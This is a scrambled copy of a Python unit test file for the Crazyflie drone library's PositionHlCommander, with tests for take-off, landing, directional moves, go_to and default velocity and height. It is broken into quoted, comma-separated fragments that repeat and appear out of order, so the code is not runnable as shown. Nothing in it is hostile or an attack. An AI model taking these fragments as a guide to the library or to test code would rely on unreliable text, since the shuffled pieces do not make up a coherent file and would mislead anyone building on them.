self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.up(1.0, 2.0) #", "1.0, inital_pos[1] + 2.0, inital_pos[2] + 3.0) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1],", "3.0) # Test sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('kalman.initialX', '{:.2f}'.format(1.0)), call('kalman.initialY',", "duration = 1.0 / 2.0 final_pos = ( inital_pos[0], inital_pos[1]", "self.sut.set_default_velocity(7.0) self.sut.set_default_height(5.0) # Test self.sut.go_to(1.0, 2.0) # Assert distance =", "self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_right( self,", "# Test self.sut.left(1.0, 2.0) # Assert duration = 1.0 /", "import Crazyflie from cflib.crazyflie import HighLevelCommander from cflib.crazyflie import Param", "the Free Software Foundation; either version 2 # of the", "it will be useful, # but WITHOUT ANY WARRANTY; without", "# GNU General Public License for more details. # You", "License # along with this program; if not, write to", "Assert duration = 0.4 / 0.6 self.commander_mock.land.assert_called_with(0.0, duration) sleep_mock.assert_called_with(duration) def", "# Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.down(1.0, 2.0)", "redistribute it and/or # modify it under the terms of", "# || || /_____/_/\\__/\\___/_/ \\__,_/ /___/\\___/ # # Copyright (C)", "test_that_it_takes_off_and_lands_as_context_manager( self, sleep_mock): # Fixture # Test with self.sut: pass", "TestPositionHlCommander(unittest.TestCase): def setUp(self): self.commander_mock = MagicMock(spec=HighLevelCommander) self.param_mock = MagicMock(spec=Param) self.cf_mock", "self.sut.move_distance(1.0, 2.0, 3.0, 4.0) # Assert distance = self._distance((0.0, 0.0,", "self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() self.sut.set_default_velocity(7) #", "# Test self.sut.move_distance(1.0, 2.0, 3.0, 4.0) # Assert distance =", "self.sut.get_position() # Test self.sut.forward(1.0, 2.0) # Assert duration = 1.0", "final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_default_velocity_is_used( self, sleep_mock):", "self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_down( self,", "hope that it will be useful, # but WITHOUT ANY", "import Param from cflib.positioning.position_hl_commander import PositionHlCommander if sys.version_info < (3,", "it under the terms of the GNU General Public License", "Test actual = self.sut.get_position() # Assert self.assertEqual(actual, (0.0, 0.0, 0.4))", "p1, p2): dx = p1[0] - p2[0] dy = p1[1]", "def test_that_take_off_raises_exception_when_already_flying( self, sleep_mock): # Fixture self.sut.take_off() # Test #", "self.commander_mock.takeoff.assert_called_with(0.4, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_down_on_landing( self, sleep_mock): # Fixture self.sut.take_off(height=0.4)", "p2[0] dy = p1[1] - p2[1] dz = p1[2] -", "0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_forward( self, sleep_mock): # Fixture self.sut.take_off()", "program is distributed in the hope that it will be", "( inital_pos[0] - 1.0, inital_pos[1], inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2],", "# Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.go_to(1.0, 2.0,", "from unittest.mock import MagicMock, patch, call @patch('time.sleep') class TestPositionHlCommander(unittest.TestCase): def", "final_pos = ( inital_pos[0] + 1.0, inital_pos[1], inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0],", "@patch('time.sleep') class TestPositionHlCommander(unittest.TestCase): def setUp(self): self.commander_mock = MagicMock(spec=HighLevelCommander) self.param_mock =", "def test_that_the_hi_level_commander_is_activated_on_take_off( self, sleep_mock): # Fixture # Test self.sut.take_off() #", "1.0 / 2.0 final_pos = ( inital_pos[0] + 1.0, inital_pos[1],", "final_pos = ( inital_pos[0] - 1.0, inital_pos[1], inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0],", "self.sut.take_off() inital_pos = self.sut.get_position() self.sut.set_default_velocity(7.0) self.sut.set_default_height(5.0) # Test self.sut.go_to(1.0, 2.0)", "p1[1] - p2[1] dz = p1[2] - p2[2] return math.sqrt(dx", "MagicMock, patch, call @patch('time.sleep') class TestPositionHlCommander(unittest.TestCase): def setUp(self): self.commander_mock =", "def test_that_it_goes_to_position( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position()", "Test self.sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('commander.enHighLevel', '1') ]) def test_that_controller_is_selected_on_take_off(", "sleep_mock.assert_called_with(duration2) def test_that_it_returns_current_position( self, sleep_mock): # Fixture self.sut.take_off(height=0.4, velocity=0.6) #", "the License, or (at your option) any later version. #", "= PositionHlCommander(self.cf_mock, default_height=0.4) # Test sut.take_off(velocity=0.6) # Assert duration =", "final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_default_velocity_is_used( self, sleep_mock): # Fixture", "inital_pos = self.sut.get_position() self.sut.set_default_velocity(7) # Test self.sut.go_to(1.0, 2.0, 3.0) #", "- p2[0] dy = p1[1] - p2[1] dz = p1[2]", "mock import MagicMock, patch, call else: from unittest.mock import MagicMock,", "= 1.0 / 2.0 final_pos = ( inital_pos[0], inital_pos[1] -", "def test_that_it_goes_left( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position()", "FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General", "duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_up( self, sleep_mock): # Fixture self.sut.take_off() inital_pos", "from cflib.positioning.position_hl_commander import PositionHlCommander if sys.version_info < (3, 3): from", "inital_pos[0] + 1.0, inital_pos[1] + 2.0, inital_pos[2] + 3.0) self.commander_mock.go_to.assert_called_with(", "inital_pos[1] + 1.0, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration)", "# Fixture sut = PositionHlCommander(self.cf_mock, default_height=0.4) # Test sut.take_off(velocity=0.6) #", "Test self.sut.left(1.0, 2.0) # Assert duration = 1.0 / 2.0", "General Public License # along with this program; if not,", "2.0, 3.0) # Test sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('kalman.initialX', '{:.2f}'.format(1.0)),", "def test_that_the_estimator_is_reset_on_take_off( self, sleep_mock): # Fixture sut = PositionHlCommander(self.cf_mock, 1.0,", "# Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.forward(1.0, 2.0)", "Assert distance = self._distance(inital_pos, (1.0, 2.0, 5.0)) duration = distance", "will be useful, # but WITHOUT ANY WARRANTY; without even", "/ 0.6 self.commander_mock.land.assert_called_with(0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_takes_off_and_lands_as_context_manager( self, sleep_mock): #", "-*- # # || ____ _ __ # +------+ /", "if not, write to the Free Software # Foundation, Inc.,", "Assert distance = self._distance((0.0, 0.0, 0.0), (1.0, 2.0, 3.0)) duration", "final_pos = ( inital_pos[0], inital_pos[1], inital_pos[2] + 1) self.commander_mock.go_to.assert_called_with( final_pos[0],", "import MagicMock, patch, call @patch('time.sleep') class TestPositionHlCommander(unittest.TestCase): def setUp(self): self.commander_mock", "# +------+ / __ )(_) /_______________ _____ ___ # |", "= ( inital_pos[0] - 1.0, inital_pos[1], inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1],", "sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() self.sut.set_default_velocity(7) # Test", "Test self.sut.back(1.0, 2.0) # Assert duration = 1.0 / 2.0", "0.0, duration) sleep_mock.assert_called_with(duration) ###################################################################### def _distance(self, p1, p2): dx =", "distance = self._distance(inital_pos, (1.0, 2.0, 5.0)) duration = distance /", "self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 3.0, 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_moves_distance( self,", "* dy + dz * dz) if __name__ == '__main__':", "# # Copyright (C) 2018 Bitcraze AB # # This", "= self.sut.get_position() # Assert self.assertEqual(actual, (0.0, 0.0, 0.4)) def test_that_it_goes_to_position(", "class TestPositionHlCommander(unittest.TestCase): def setUp(self): self.commander_mock = MagicMock(spec=HighLevelCommander) self.param_mock = MagicMock(spec=Param)", "PURPOSE. See the # GNU General Public License for more", "+ dy * dy + dz * dz) if __name__", "FOR A PARTICULAR PURPOSE. See the # GNU General Public", "inital_pos[2] - 1) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration)", "call else: from unittest.mock import MagicMock, patch, call @patch('time.sleep') class", "3.0)) duration = distance / 7.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 3.0,", "= p1[1] - p2[1] dz = p1[2] - p2[2] return", "def test_that_it_moves_distance( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position()", "Param from cflib.positioning.position_hl_commander import PositionHlCommander if sys.version_info < (3, 3):", "test_that_it_goes_forward( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() #", "the # GNU General Public License for more details. #", "self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_left( self,", "/ / _ \\ # +------+ / /_/ / /", "test_that_it_goes_down( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() #", "version 2 # of the License, or (at your option)", "test_that_controller_is_selected_on_take_off( self, sleep_mock): # Fixture self.sut.set_controller(PositionHlCommander.CONTROLLER_MELLINGER) # Test self.sut.take_off() #", "2.0, inital_pos[2] + 3.0) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration)", "self, sleep_mock): # Fixture sut = PositionHlCommander(self.cf_mock, 1.0, 2.0, 3.0)", "sleep_mock.assert_called_with(duration) def test_that_it_goes_down_on_landing( self, sleep_mock): # Fixture self.sut.take_off(height=0.4) # Test", "duration = distance / 4.0 final_pos = ( inital_pos[0] +", "PositionHlCommander(self.cf_mock) def test_that_the_estimator_is_reset_on_take_off( self, sleep_mock): # Fixture sut = PositionHlCommander(self.cf_mock,", "0.4 / 0.6 self.commander_mock.takeoff.assert_called_with(0.4, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_up_to_default_height( self, sleep_mock):", "def test_that_it_goes_down( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position()", "self.sut.right(1.0, 2.0) # Assert duration = 1.0 / 2.0 final_pos", "Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.forward(1.0, 2.0) #", "inital_pos[0], inital_pos[1] + 1.0, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0,", "2.0 final_pos = ( inital_pos[0], inital_pos[1], inital_pos[2] + 1) self.commander_mock.go_to.assert_called_with(", "2018 Bitcraze AB # # This program is free software;", "self.commander_mock.land.assert_called_with(0.0, duration2) sleep_mock.assert_called_with(duration1) sleep_mock.assert_called_with(duration2) def test_that_it_returns_current_position( self, sleep_mock): # Fixture", "call('kalman.initialY', '{:.2f}'.format(2.0)), call('kalman.initialZ', '{:.2f}'.format(3.0)), call('kalman.resetEstimation', '1'), call('kalman.resetEstimation', '0') ]) def", "final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_left( self, sleep_mock): #", "+ 3.0) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def", "+------+ / /_/ / / /_/ /__/ / / /_/", "/ 2.0 final_pos = ( inital_pos[0], inital_pos[1] + 1.0, inital_pos[2])", "__/ ___/ ___/ __ `/_ / / _ \\ #", "self.sut.take_off() inital_pos = self.sut.get_position() self.sut.set_default_velocity(7) # Test self.sut.go_to(1.0, 2.0, 3.0)", "# Test with self.sut: pass # Assert duration1 = 0.5", "= self.sut.get_position() # Test self.sut.left(1.0, 2.0) # Assert duration =", "inital_pos[2] + 3.0) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration)", "free software; you can redistribute it and/or # modify it", "self, sleep_mock): # Fixture # Test self.sut.take_off(height=0.4, velocity=0.6) # Assert", "p2[1] dz = p1[2] - p2[2] return math.sqrt(dx * dx", "2.0, 3.0, 4.0) # Assert distance = self._distance((0.0, 0.0, 0.0),", "duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_forward( self, sleep_mock): # Fixture self.sut.take_off() inital_pos", "self, sleep_mock): # Fixture self.sut.set_controller(PositionHlCommander.CONTROLLER_MELLINGER) # Test self.sut.take_off() # Assert", "dy = p1[1] - p2[1] dz = p1[2] - p2[2]", "your option) any later version. # # This program is", "duration2) sleep_mock.assert_called_with(duration1) sleep_mock.assert_called_with(duration2) def test_that_it_returns_current_position( self, sleep_mock): # Fixture self.sut.take_off(height=0.4,", "# || ____ _ __ # +------+ / __ )(_)", "Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.move_distance(1.0, 2.0, 3.0,", "self._distance((0.0, 0.0, 0.0), (1.0, 2.0, 3.0)) duration = distance /", "is free software; you can redistribute it and/or # modify", "inital_pos[0], inital_pos[1], inital_pos[2] - 1) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0,", ")(_) /_______________ _____ ___ # | 0xBC | / __", "along with this program; if not, write to the Free", "duration = distance / 4.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 3.0, 0.0,", "\\ # +------+ / /_/ / / /_/ /__/ /", "sleep_mock.assert_called_with(duration) def test_that_it_moves_distance( self, sleep_mock): # Fixture self.sut.take_off() inital_pos =", "3.0, 4.0) # Assert distance = self._distance((0.0, 0.0, 0.0), (1.0,", "Test self.sut.down(1.0, 2.0) # Assert duration = 1.0 / 2.0", "ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY", "0.0, 0.4)) def test_that_it_goes_to_position( self, sleep_mock): # Fixture self.sut.take_off() inital_pos", "(at your option) any later version. # # This program", "'{:.2f}'.format(1.0)), call('kalman.initialY', '{:.2f}'.format(2.0)), call('kalman.initialZ', '{:.2f}'.format(3.0)), call('kalman.resetEstimation', '1'), call('kalman.resetEstimation', '0') ])", "distance = self._distance(inital_pos, (1.0, 2.0, 3.0)) duration = distance /", "self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_default_velocity_is_used( self,", "def test_that_controller_is_selected_on_take_off( self, sleep_mock): # Fixture self.sut.set_controller(PositionHlCommander.CONTROLLER_MELLINGER) # Test self.sut.take_off()", "1.0, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def", "( inital_pos[0], inital_pos[1] + 1.0, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2],", "with self.sut: pass # Assert duration1 = 0.5 / 0.5", "self.commander_mock = MagicMock(spec=HighLevelCommander) self.param_mock = MagicMock(spec=Param) self.cf_mock = MagicMock(spec=Crazyflie) self.cf_mock.high_level_commander", "def setUp(self): self.commander_mock = MagicMock(spec=HighLevelCommander) self.param_mock = MagicMock(spec=Param) self.cf_mock =", "call('kalman.initialX', '{:.2f}'.format(1.0)), call('kalman.initialY', '{:.2f}'.format(2.0)), call('kalman.initialZ', '{:.2f}'.format(3.0)), call('kalman.resetEstimation', '1'), call('kalman.resetEstimation', '0')", "GNU General Public License for more details. # You should", "import math import sys import unittest from cflib.crazyflie import Crazyflie", "inital_pos[2] + 1) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration)", "License, or (at your option) any later version. # #", "cflib.crazyflie import HighLevelCommander from cflib.crazyflie import Param from cflib.positioning.position_hl_commander import", "the hope that it will be useful, # but WITHOUT", "p1[0] - p2[0] dy = p1[1] - p2[1] dz =", "sut.take_off(velocity=0.6) # Assert duration = 0.4 / 0.6 self.commander_mock.takeoff.assert_called_with(0.4, duration)", "0.5 self.commander_mock.takeoff.assert_called_with(0.5, duration1) self.commander_mock.land.assert_called_with(0.0, duration2) sleep_mock.assert_called_with(duration1) sleep_mock.assert_called_with(duration2) def test_that_it_returns_current_position( self,", "2.0, 5.0)) duration = distance / 7.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0,", "Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301,", "self.sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('stabilizer.controller', '2') ]) def test_that_take_off_raises_exception_if_not_connected( self,", "final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_right( self, sleep_mock): #", "(1.0, 2.0, 3.0)) duration = distance / 4.0 final_pos =", "+ 1) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def", "for more details. # You should have received a copy", "if sys.version_info < (3, 3): from mock import MagicMock, patch,", "_ __ # +------+ / __ )(_) /_______________ _____ ___", "3.0, 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_moves_distance( self, sleep_mock): # Fixture", "test_that_it_goes_back( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() #", "final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_down( self, sleep_mock): # Fixture", "\\__,_/ /___/\\___/ # # Copyright (C) 2018 Bitcraze AB #", "(1.0, 2.0, 3.0)) duration = distance / 4.0 self.commander_mock.go_to.assert_called_with( 1.0,", "from cflib.crazyflie import HighLevelCommander from cflib.crazyflie import Param from cflib.positioning.position_hl_commander", "self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.forward(1.0, 2.0) # Assert", "/ 0.5 duration2 = 0.5 / 0.5 self.commander_mock.takeoff.assert_called_with(0.5, duration1) self.commander_mock.land.assert_called_with(0.0,", "Bitcraze AB # # This program is free software; you", "sleep_mock.assert_called_with(duration) def test_that_it_goes_back( self, sleep_mock): # Fixture self.sut.take_off() inital_pos =", "self.sut.land(velocity=0.6) # Assert duration = 0.4 / 0.6 self.commander_mock.land.assert_called_with(0.0, duration)", "= distance / 4.0 final_pos = ( inital_pos[0] + 1.0,", "Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,", "final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_up( self, sleep_mock):", "copy of the GNU General Public License # along with", "'{:.2f}'.format(3.0)), call('kalman.resetEstimation', '1'), call('kalman.resetEstimation', '0') ]) def test_that_the_hi_level_commander_is_activated_on_take_off( self, sleep_mock):", "# Assert with self.assertRaises(Exception): self.sut.take_off() def test_that_take_off_raises_exception_when_already_flying( self, sleep_mock): #", "self.sut.set_default_velocity(7) # Test self.sut.go_to(1.0, 2.0, 3.0) # Assert distance =", "self.sut.get_position() self.sut.set_default_velocity(7.0) self.sut.set_default_height(5.0) # Test self.sut.go_to(1.0, 2.0) # Assert distance", "# Assert self.param_mock.set_value.assert_has_calls([ call('kalman.initialX', '{:.2f}'.format(1.0)), call('kalman.initialY', '{:.2f}'.format(2.0)), call('kalman.initialZ', '{:.2f}'.format(3.0)), call('kalman.resetEstimation',", "final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_forward( self, sleep_mock):", "final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_forward( self, sleep_mock): #", "4.0) # Assert distance = self._distance((0.0, 0.0, 0.0), (1.0, 2.0,", "sleep_mock.assert_called_with(duration1) sleep_mock.assert_called_with(duration2) def test_that_it_returns_current_position( self, sleep_mock): # Fixture self.sut.take_off(height=0.4, velocity=0.6)", "+ 1.0, inital_pos[1], inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration)", "distributed in the hope that it will be useful, #", "self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 5.0, 0.0, duration) sleep_mock.assert_called_with(duration) ###################################################################### def _distance(self,", "= self.sut.get_position() # Test self.sut.up(1.0, 2.0) # Assert duration =", "/ /_/ / / /_/ /__/ / / /_/ /", "self.sut.left(1.0, 2.0) # Assert duration = 1.0 / 2.0 final_pos", "test_that_it_goes_left( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() #", "of the License, or (at your option) any later version.", "duration = 1.0 / 2.0 final_pos = ( inital_pos[0], inital_pos[1],", "duration2 = 0.5 / 0.5 self.commander_mock.takeoff.assert_called_with(0.5, duration1) self.commander_mock.land.assert_called_with(0.0, duration2) sleep_mock.assert_called_with(duration1)", "duration) sleep_mock.assert_called_with(duration) def test_that_default_velocity_is_used( self, sleep_mock): # Fixture self.sut.take_off() inital_pos", "def test_that_it_goes_down_on_landing( self, sleep_mock): # Fixture self.sut.take_off(height=0.4) # Test self.sut.land(velocity=0.6)", "self, sleep_mock): # Fixture # Test with self.sut: pass #", "= self.sut.get_position() # Test self.sut.move_distance(1.0, 2.0, 3.0, 4.0) # Assert", "You should have received a copy of the GNU General", "0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_down( self, sleep_mock): # Fixture self.sut.take_off()", "self._distance(inital_pos, (1.0, 2.0, 3.0)) duration = distance / 4.0 self.commander_mock.go_to.assert_called_with(", "< (3, 3): from mock import MagicMock, patch, call else:", "pass # Assert duration1 = 0.5 / 0.5 duration2 =", "self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.move_distance(1.0, 2.0, 3.0, 4.0)", "2.0 final_pos = ( inital_pos[0], inital_pos[1], inital_pos[2] - 1) self.commander_mock.go_to.assert_called_with(", "test_that_default_height_is_used( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() self.sut.set_default_velocity(7.0)", "# | 0xBC | / __ / / __/ ___/", "useful, # but WITHOUT ANY WARRANTY; without even the implied", "+ 1.0, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration)", "= self.sut.get_position() # Test self.sut.forward(1.0, 2.0) # Assert duration =", "# Test sut.take_off(velocity=0.6) # Assert duration = 0.4 / 0.6", "self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.right(1.0, 2.0) # Assert", "/ 4.0 final_pos = ( inital_pos[0] + 1.0, inital_pos[1] +", "Public License for more details. # You should have received", "# Fixture self.sut.take_off(height=0.4) # Test self.sut.land(velocity=0.6) # Assert duration =", "3.0)) duration = distance / 4.0 final_pos = ( inital_pos[0]", "later version. # # This program is distributed in the", "Fixture sut = PositionHlCommander(self.cf_mock, 1.0, 2.0, 3.0) # Test sut.take_off()", "under the terms of the GNU General Public License #", "- 1.0, inital_pos[1], inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration)", "self.sut.go_to(1.0, 2.0) # Assert distance = self._distance(inital_pos, (1.0, 2.0, 5.0))", "# You should have received a copy of the GNU", "Assert duration1 = 0.5 / 0.5 duration2 = 0.5 /", "# Test self.sut.forward(1.0, 2.0) # Assert duration = 1.0 /", "the terms of the GNU General Public License # as", "sys import unittest from cflib.crazyflie import Crazyflie from cflib.crazyflie import", "duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_down( self, sleep_mock): # Fixture self.sut.take_off() inital_pos", "/ / __/ ___/ ___/ __ `/_ / / _", "more details. # You should have received a copy of", "inital_pos = self.sut.get_position() # Test self.sut.go_to(1.0, 2.0, 3.0, 4.0) #", "/_____/_/\\__/\\___/_/ \\__,_/ /___/\\___/ # # Copyright (C) 2018 Bitcraze AB", "duration = 1.0 / 2.0 final_pos = ( inital_pos[0] -", "duration = 0.4 / 0.6 self.commander_mock.takeoff.assert_called_with(0.4, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_up_to_default_height(", "# Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.move_distance(1.0, 2.0,", "# Assert self.param_mock.set_value.assert_has_calls([ call('stabilizer.controller', '2') ]) def test_that_take_off_raises_exception_if_not_connected( self, sleep_mock):", "Test self.sut.move_distance(1.0, 2.0, 3.0, 4.0) # Assert distance = self._distance((0.0,", "the Free Software # Foundation, Inc., 51 Franklin Street, Fifth", "Boston, # MA 02110-1301, USA. import math import sys import", "sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() self.sut.set_default_velocity(7.0) self.sut.set_default_height(5.0) #", "2.0, 3.0)) duration = distance / 4.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0,", "'1') ]) def test_that_controller_is_selected_on_take_off( self, sleep_mock): # Fixture self.sut.set_controller(PositionHlCommander.CONTROLLER_MELLINGER) #", "self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.back(1.0, 2.0) # Assert", "should have received a copy of the GNU General Public", "= MagicMock(spec=HighLevelCommander) self.param_mock = MagicMock(spec=Param) self.cf_mock = MagicMock(spec=Crazyflie) self.cf_mock.high_level_commander =", "self, sleep_mock): # Fixture self.cf_mock.is_connected.return_value = False # Test #", "1.0 / 2.0 final_pos = ( inital_pos[0] - 1.0, inital_pos[1],", "= self.sut.get_position() self.sut.set_default_velocity(7.0) self.sut.set_default_height(5.0) # Test self.sut.go_to(1.0, 2.0) # Assert", "dx = p1[0] - p2[0] dy = p1[1] - p2[1]", "2.0 final_pos = ( inital_pos[0] - 1.0, inital_pos[1], inital_pos[2]) self.commander_mock.go_to.assert_called_with(", "of the GNU General Public License # along with this", "duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_up_to_default_height( self, sleep_mock): # Fixture sut =", "# Assert with self.assertRaises(Exception): self.sut.take_off() def test_that_it_goes_up_on_take_off( self, sleep_mock): #", "= self.sut.get_position() # Test self.sut.go_to(1.0, 2.0, 3.0, 4.0) # Assert", "self.assertRaises(Exception): self.sut.take_off() def test_that_it_goes_up_on_take_off( self, sleep_mock): # Fixture # Test", "Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.back(1.0, 2.0) #", "# Test self.sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('commander.enHighLevel', '1') ]) def", "Test self.sut.go_to(1.0, 2.0, 3.0) # Assert distance = self._distance(inital_pos, (1.0,", "- p2[1] dz = p1[2] - p2[2] return math.sqrt(dx *", "by the Free Software Foundation; either version 2 # of", "1.0, 2.0, 3.0, 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_moves_distance( self, sleep_mock):", "0.6 self.commander_mock.land.assert_called_with(0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_takes_off_and_lands_as_context_manager( self, sleep_mock): # Fixture", "Foundation; either version 2 # of the License, or (at", "distance / 4.0 final_pos = ( inital_pos[0] + 1.0, inital_pos[1]", "details. # You should have received a copy of the", "0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_right( self, sleep_mock): # Fixture self.sut.take_off()", "sleep_mock): # Fixture # Test self.sut.take_off(height=0.4, velocity=0.6) # Assert duration", "| 0xBC | / __ / / __/ ___/ ___/", "Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.go_to(1.0, 2.0, 3.0,", "test_that_it_moves_distance( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() #", "with self.assertRaises(Exception): self.sut.take_off() def test_that_take_off_raises_exception_when_already_flying( self, sleep_mock): # Fixture self.sut.take_off()", "self.sut.get_position() # Test self.sut.move_distance(1.0, 2.0, 3.0, 4.0) # Assert distance", "0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_moves_distance( self, sleep_mock): # Fixture self.sut.take_off()", "call('kalman.resetEstimation', '0') ]) def test_that_the_hi_level_commander_is_activated_on_take_off( self, sleep_mock): # Fixture #", "GNU General Public License # as published by the Free", "self.commander_mock.land.assert_called_with(0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_takes_off_and_lands_as_context_manager( self, sleep_mock): # Fixture #", "self.sut.get_position() # Assert self.assertEqual(actual, (0.0, 0.0, 0.4)) def test_that_it_goes_to_position( self,", "of the GNU General Public License # as published by", "Floor, Boston, # MA 02110-1301, USA. import math import sys", "p1[2] - p2[2] return math.sqrt(dx * dx + dy *", "inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_back(", "# Assert duration1 = 0.5 / 0.5 duration2 = 0.5", "0.6 self.commander_mock.takeoff.assert_called_with(0.4, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_up_to_default_height( self, sleep_mock): # Fixture", "self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() self.sut.set_default_velocity(7.0) self.sut.set_default_height(5.0)", "of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See", "self.param_mock = MagicMock(spec=Param) self.cf_mock = MagicMock(spec=Crazyflie) self.cf_mock.high_level_commander = self.commander_mock self.cf_mock.param", "duration) sleep_mock.assert_called_with(duration) def test_that_it_moves_distance( self, sleep_mock): # Fixture self.sut.take_off() inital_pos", "# Test self.sut.go_to(1.0, 2.0) # Assert distance = self._distance(inital_pos, (1.0,", "inital_pos = self.sut.get_position() # Test self.sut.move_distance(1.0, 2.0, 3.0, 4.0) #", "sut = PositionHlCommander(self.cf_mock, 1.0, 2.0, 3.0) # Test 